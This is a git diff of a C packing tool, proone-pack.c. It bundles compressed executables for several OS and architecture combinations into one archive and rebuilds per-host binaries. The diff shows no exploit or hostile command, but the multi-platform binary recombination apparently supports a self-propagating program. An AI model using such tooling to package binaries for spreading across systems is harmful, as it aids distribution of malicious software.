diff options
Diffstat (limited to 'src/proone-pack.c')
-rw-r--r-- | src/proone-pack.c | 137 |
1 files changed, 91 insertions, 46 deletions
diff --git a/src/proone-pack.c b/src/proone-pack.c index 81699c1..ad2a75c 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -9,6 +9,7 @@ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> +#include <regex.h> #include <zlib.h> @@ -24,14 +25,14 @@ typedef struct { - prne_arch_t arch; + prne_bin_host_t host; const char *path; struct stat st; uint8_t *m_exec; } archive_tuple_t; -const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; -archive_tuple_t archive_arr[NB_PRNE_ARCH]; +const archive_tuple_t *encounter_arr[NB_PRNE_OS][NB_PRNE_ARCH]; +archive_tuple_t archive_arr[NB_PRNE_OS * NB_PRNE_ARCH]; size_t archive_arr_cnt; uint8_t *m_dv; size_t dv_len; @@ -138,17 +139,17 @@ static void do_test ( len - ofs_ba, &ba) == PRNE_PACK_RC_OK); - fprintf(stderr, "%s\t\t", prne_arch_tostr(t->arch)); + fprintf(stderr, "%s\t\t", prne_arch_tostr(t->host.arch)); for (size_t i = 0; i < ba.nb_bin; i += 1) { - fprintf(stderr, "%s\t", prne_arch_tostr(ba.bin[i].arch)); + fprintf(stderr, "%s\t", prne_arch_tostr(ba.bin[i].host.arch)); } fprintf(stderr, "\n"); for (size_t i = 0; i < archive_arr_cnt; i += 1) { prne_assert(prne_start_bin_rcb( &ctx, - archive_arr[i].arch, - t->arch, + archive_arr[i].host, + &t->host, m, len, t->st.st_size, @@ -157,7 +158,7 @@ static void do_test ( &ba) == PRNE_PACK_RC_OK); out_len = do_read(&m_out, &out_size, &ctx); - if (archive_arr[i].arch == t->arch) { + if (prne_eq_bin_host(&archive_arr[i].host, &t->host)) { prne_assert(out_len == len && memcmp(m_out, m, len) == 0); } else { @@ -179,11 +180,10 @@ static bool do_nybin (const char *path, int *fd) { prne_memzero(head, sizeof(head)); head[0] = prne_getmsb16(dv_len, 0); head[1] = prne_getmsb16(dv_len, 1); - head[2] = 'n'; - head[3] = 'y'; - head[4] = 'b'; - head[5] = 'i'; - head[6] = 'n'; + memcpy( + head + 2, + PRNE_PACK_NYBIN_IDEN_DATA, + sizeof(PRNE_PACK_NYBIN_IDEN_DATA)); head[7] = 0; *fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0755); @@ -220,7 +220,7 @@ static bool do_rcb (const char *prefix) { int fd = -1; char *out_path = NULL; const size_t prefix_len = strlen(prefix); - const char *arch_str; + const char *arch_str, *os_str; prne_init_bin_rcb_ctx(&ctx); prne_init_bin_archive(&ba); @@ -242,13 +242,14 @@ static bool do_rcb (const char *prefix) { fd = -1; for (size_t i = 0; i < archive_arr_cnt; i += 1) { - arch_str = prne_arch_tostr(archive_arr[i].arch); - prne_assert(arch_str != NULL); + os_str = prne_os_tostr(archive_arr[i].host.os); + arch_str = prne_arch_tostr(archive_arr[i].host.arch); + prne_assert(arch_str != NULL && os_str != NULL); prc = prne_start_bin_rcb( &ctx, - archive_arr[i].arch, - PRNE_ARCH_NONE, + archive_arr[i].host, + NULL, NULL, 0, 0, @@ -288,17 +289,31 @@ END: return ret; } +static char *extmatch (char *ostr, const char *haystack, const regmatch_t *rm) { + const size_t l = rm->rm_eo - rm->rm_so; + char *ret = prne_realloc(ostr, 1, l + 1); + + strncpy(ret, haystack + rm->rm_so, l); + ret[l] = 0; + + return ret; +} + int main (const int argc, const char **args) { size_t i; archive_tuple_t *archive; - const char *path, *ext; + const char *path; const char *o_prefix; + char *str_os = NULL, *str_arch = NULL; bool proc_result = true; prne_arch_t arch; + prne_os_t os; int bin_fd = -1; - int z_ret, ret = 0; + int z_ret, f_ret, ret = 0; z_stream zs; size_t out_len; + regex_t re; + regmatch_t rm[3]; PAGESIZE = prne_getpagesize(); @@ -308,6 +323,16 @@ int main (const int argc, const char **args) { abort(); } + // .*\.([a-z0-9_\-]+)\.([a-z0-9_\-]+)$ + f_ret = regcomp( + &re, + ".*\\.([a-z0-9_\\-]+)\\.([a-z0-9_\\-]+)$", + REG_EXTENDED | REG_ICASE); + if (f_ret != 0) { + fprintf(stderr, "*** regcomp() returned %d\n", f_ret); + abort(); + } + if (argc < 3) { fprintf( stderr, @@ -328,37 +353,49 @@ int main (const int argc, const char **args) { for (i = 3; i < (size_t)argc; i += 1) { struct stat st; - if (archive_arr_cnt >= NB_PRNE_ARCH) { + if (archive_arr_cnt >= NB_PRNE_OS * NB_PRNE_ARCH) { fprintf( stderr, "** Too many files given (%d > %d).\n", argc - 1, - NB_PRNE_ARCH); + NB_PRNE_OS * NB_PRNE_ARCH); ret = 2; goto END; } path = args[i]; - ext = strrchr(path, '.'); - if (ext == NULL) { - fprintf(stderr, "** %s: file extension not found\n", path); + f_ret = regexec(&re, path, 3, rm, 0); + switch (f_ret) { + case 0: break; + case REG_NOMATCH: + fprintf(stderr, "** %s: invalid suffix\n", path); proc_result = false; continue; + default: + fprintf(stderr, "*** regexec() returned %d\n", f_ret); + abort(); } - ext += 1; + str_os = extmatch(str_os, path, rm + 1); + str_arch = extmatch(str_arch, path, rm + 2); - arch = prne_arch_fstr(ext); + os = prne_os_fstr(str_os); + if (os == PRNE_OS_NONE) { + fprintf(stderr, "** %s: unknown os \"%s\"\n", path, str_os); + proc_result = false; + continue; + } + arch = prne_arch_fstr(str_arch); if (arch == PRNE_ARCH_NONE) { - fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); + fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, str_arch); proc_result = false; continue; } - if (encounter_arr[arch] != NULL) { + if (encounter_arr[os][arch] != NULL) { fprintf( stderr, - "** Duplicate arch!\n%s\n%s\n", - encounter_arr[arch]->path, + "** Duplicate bin:\n%s\n%s\n", + encounter_arr[os][arch]->path, path); proc_result = false; continue; @@ -380,10 +417,11 @@ int main (const int argc, const char **args) { continue; } - archive_arr[archive_arr_cnt].arch = arch; + archive_arr[archive_arr_cnt].host.os = os; + archive_arr[archive_arr_cnt].host.arch = arch; archive_arr[archive_arr_cnt].path = path; archive_arr[archive_arr_cnt].st = st; - encounter_arr[arch] = &archive_arr[archive_arr_cnt]; + encounter_arr[os][arch] = &archive_arr[archive_arr_cnt]; archive_arr_cnt += 1; } if (!proc_result) { @@ -391,24 +429,29 @@ int main (const int argc, const char **args) { goto END; } - ba_len = ba_size = 4 + archive_arr_cnt * 4; - m_ba = (uint8_t*)prne_malloc(1, ba_size); + ba_size = 8 + archive_arr_cnt * 8; + m_ba = (uint8_t*)prne_calloc(1, ba_size); prne_assert(m_ba != NULL); // write head - m_ba[0] = (uint8_t)(archive_arr_cnt & 0xFF); - m_ba[1] = 0; - m_ba[2] = 0; - m_ba[3] = 0; - ba_len = 4; + m_ba[0] = 'p'; + m_ba[1] = 'r'; + m_ba[2] = '-'; + m_ba[3] = 'b'; + m_ba[4] = 'a'; + m_ba[5] = 0; + m_ba[6] = prne_getmsb16(archive_arr_cnt, 0); + m_ba[7] = prne_getmsb16(archive_arr_cnt, 1); + ba_len = 8; for (i = 0; i < archive_arr_cnt; i += 1) { archive = archive_arr + i; - m_ba[ba_len + 0] = (uint8_t)archive->arch; - m_ba[ba_len + 1] = prne_getmsb32(archive->st.st_size, 1); - m_ba[ba_len + 2] = prne_getmsb32(archive->st.st_size, 2); - m_ba[ba_len + 3] = prne_getmsb32(archive->st.st_size, 3); - ba_len += 4; + m_ba[ba_len + 2] = (uint8_t)archive->host.os; + m_ba[ba_len + 3] = (uint8_t)archive->host.arch; + m_ba[ba_len + 5] = prne_getmsb32(archive->st.st_size, 1); + m_ba[ba_len + 6] = prne_getmsb32(archive->st.st_size, 2); + m_ba[ba_len + 7] = prne_getmsb32(archive->st.st_size, 3); + ba_len += 8; } // compress executables @@ -416,7 +459,7 @@ int main (const int argc, const char **args) { archive = archive_arr + i; /* FIXME - * Zero size arhive allowed? + * Zero size bin allowed? */ archive->m_exec = prne_malloc(1, archive->st.st_size); prne_assert(archive->m_exec != NULL); @@ -496,6 +539,8 @@ int main (const int argc, const char **args) { ret = do_rcb(o_prefix) ? 0 : 1; END: + prne_free(str_os); + prne_free(str_arch); prne_free(m_dv); prne_free(m_ba); for (size_t i = 0; i < archive_arr_cnt; i += 1) { |